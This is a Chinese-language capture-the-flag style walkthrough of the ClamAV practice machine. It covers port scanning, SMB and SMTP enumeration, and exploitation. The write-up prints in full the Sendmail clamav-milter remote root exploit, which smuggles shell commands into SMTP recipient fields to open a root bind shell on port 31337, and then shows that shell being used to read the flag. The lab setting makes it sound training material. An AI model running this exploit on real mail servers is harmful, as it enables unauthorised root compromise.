ClamAV
第8台，Linux系统，难度Easy，名称 ClamAV
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
┌──(xavier㉿kali)-[~]
└─$ sudo nmap -n -r --min-rate=3500 -sSV 192.168.193.42 -T4
[sudo] xavier 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-17 14:18 CST
Nmap scan report for 192.168.193.42
Host is up (0.16s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3
80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp open smux Linux SNMP multiplexer
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: localhost.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.94 seconds
全端口扫描，补充端口如下：
60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
|
漏洞情况：
1
|
Apache 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation
|
Web
打开80端口，能看到字符串
1
|
01101001 01100110 01111001 01101111 01110101 01100100 01101111 01101110 01110100 01110000 01110111 01101110 01101101 01100101 01110101 01110010 01100001 01101110 00110000 00110000 01100010
|
二进制解码后就是：
SMB
探测SMB空口令成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
┌──(xavier㉿kali)-[~]
└─$ crackmapexec smb 192.168.193.42 -u '' -p ''
SMB 192.168.193.42 445 NONE [*] Unix (name:) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.193.42 445 NONE [+] \:
┌──(xavier㉿kali)-[~]
└─$ crackmapexec smb 192.168.193.42 -u '' -p '' --shares
SMB 192.168.193.42 445 NONE [*] Unix (name:) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.193.42 445 NONE [+] \:
SMB 192.168.193.42 445 NONE [+] Enumerated shares
SMB 192.168.193.42 445 NONE Share Permissions Remark
SMB 192.168.193.42 445 NONE ----- ----------- ------
SMB 192.168.193.42 445 NONE print$ Printer Drivers
SMB 192.168.193.42 445 NONE IPC$ IPC Service (0xbabe server (Samba 3.0.14a-Debian) brave pig)
SMB 192.168.193.42 445 NONE ADMIN$ IPC Service (0xbabe server (Samba 3.0.14a-Debian) brave pig)
|
SMTP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
┌──(xavier㉿kali)-[~]
└─$ sudo nmap -n -r --min-rate=3500 -sSV 192.168.193.42 -T4 -p 25 --script=smtp*
[sudo] xavier 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-17 14:40 CST
Nmap scan report for 192.168.193.42
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3
| smtp-enum-users:
| root
| admin
| administrator
| webadmin
| sysadmin
| netadmin
| guest
| user
| web
|_ test
|_smtp-open-relay: Server is an open relay (13/16 tests)
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
| smtp-commands: localhost.localdomain Hello [192.168.45.174], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP
|_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
Service Info: Host: localhost.localdomain; OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds
|
漏洞搜索
搜索box的名称，找到历史漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
┌──(xavier㉿kali)-[~]
└─$ searchsploit clamav
---------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------- ---------------------------------
Clam Anti-Virus ClamAV 0.88.x - UPX Compressed PE File Heap Buffer Ov | linux/dos/28348.txt
ClamAV / UnRAR - .RAR Handling Remote Null Pointer Dereference | linux/remote/30291.txt
ClamAV 0.91.2 - libclamav MEW PE Buffer Overflow | linux/remote/4862.py
ClamAV < 0.102.0 - 'bytecode_vm' Code Execution | linux/local/47687.py
ClamAV < 0.94.2 - JPEG Parsing Recursive Stack Overflow (PoC) | multiple/dos/7330.c
ClamAV Daemon 0.65 - UUEncoded Message Denial of Service | linux/dos/23667.txt
ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasploit) | linux/remote/16924.rb
ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execution (Meta | multiple/remote/9913.rb
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution | multiple/remote/4761.pl
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
---------------------------------------------------------------------- ---------------------------------
Paper Title | Path
---------------------------------------------------------------------- ---------------------------------
[Azerbaijan] ClamAV Bypassing | docs/azerbaijan/31685-[azerbaija
---------------------------------------------------------------------- ---------------------------------
|
1
2
3
4
5
6
7
8
9
|
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/8-ClamAV]
└─$ searchsploit -m 4761
Exploit: Sendmail with clamav-milter < 0.91.2 - Remote Command Execution
URL: https://www.exploit-db.com/exploits/4761
Path: /usr/share/exploitdb/exploits/multiple/remote/4761.pl
Codes: CVE-2007-4560
Verified: True
File Type: ASCII text
Copied to: /home/xavier/Desktop/OSCP/PG_Practice/8-ClamAV/4761.pl
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;
print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";
if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
print "Attacking $ARGV[0]...\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '25',
Proto => 'tcp');
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
while (<$sock>) {
print;
}
# milw0rm.com [2007-12-21]
|
该脚本执行后，会用root权限执行一个/bin/sh ，在31337端口进行监听
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/8-ClamAV]
└─$ perl 4761.pl 192.168.193.42
Sendmail w/ clamav-milter Remote Root Exploit
Copyright (C) 2007 Eliteboy
Attacking 192.168.193.42...
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Sun, 17 Dec 2023 07:11:16 -0500; (No UCE/UBE) logging access from: [192.168.45.174](FAIL)-[192.168.45.174]
250-localhost.localdomain Hello [192.168.45.174], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-DELIVERBY
250 HELP
250 2.1.0 <>... Sender ok
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 3BHCBGXD005199 Message accepted for delivery
221 2.0.0 localhost.localdomain closing connection
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/8-ClamAV]
└─$ nc 192.168.193.42 31337
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/proof.txt
09d91935b96ac1aa8ce31d30e77c9978
|
Xavier
收录于 靶场